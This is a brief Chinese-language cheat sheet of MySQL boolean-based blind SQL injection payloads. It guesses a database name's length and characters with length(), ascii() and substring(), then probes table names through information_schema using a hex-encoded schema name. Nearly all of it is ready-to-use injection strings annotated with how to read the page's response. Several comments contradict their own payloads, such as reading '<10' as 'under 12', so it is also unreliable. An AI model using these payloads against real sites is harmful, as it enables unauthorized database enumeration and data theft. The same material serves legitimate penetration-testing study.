猜解数据库长度
and Length((database()))<10 //小于12返回正常说明数据库是12位以下

and length((database()))<8 //小于8返回错误说明数据库名是9位的

猜解数据库名
and ascii(substring((database()),1,1))=100 //100的ascii码=d,说明不是d

and ascii(substring((database()),1,1))=122 //122存在说明数据库名第一位是z

and ascii(substring((database()),2,1))=114 返回错误说明不是ascii码114=r 说明第二位不是r

and ascii(substring((database()),2,1))=115 返回正常说明第二位是s

.....

猜表
and Length((SELECT distinct table_name FROM information_schema.tables Where table_schema=0x7A73323236315F6462 limit 0,1))<10 #小于8返回正常表示表小于10

and Length((SELECT distinct table_name FROM information_schema.tables Where table_schema=0x7A73323236315F6462 limit 0,1))>9 #大于9返回错误,表示值是9或8...

关健词：mysql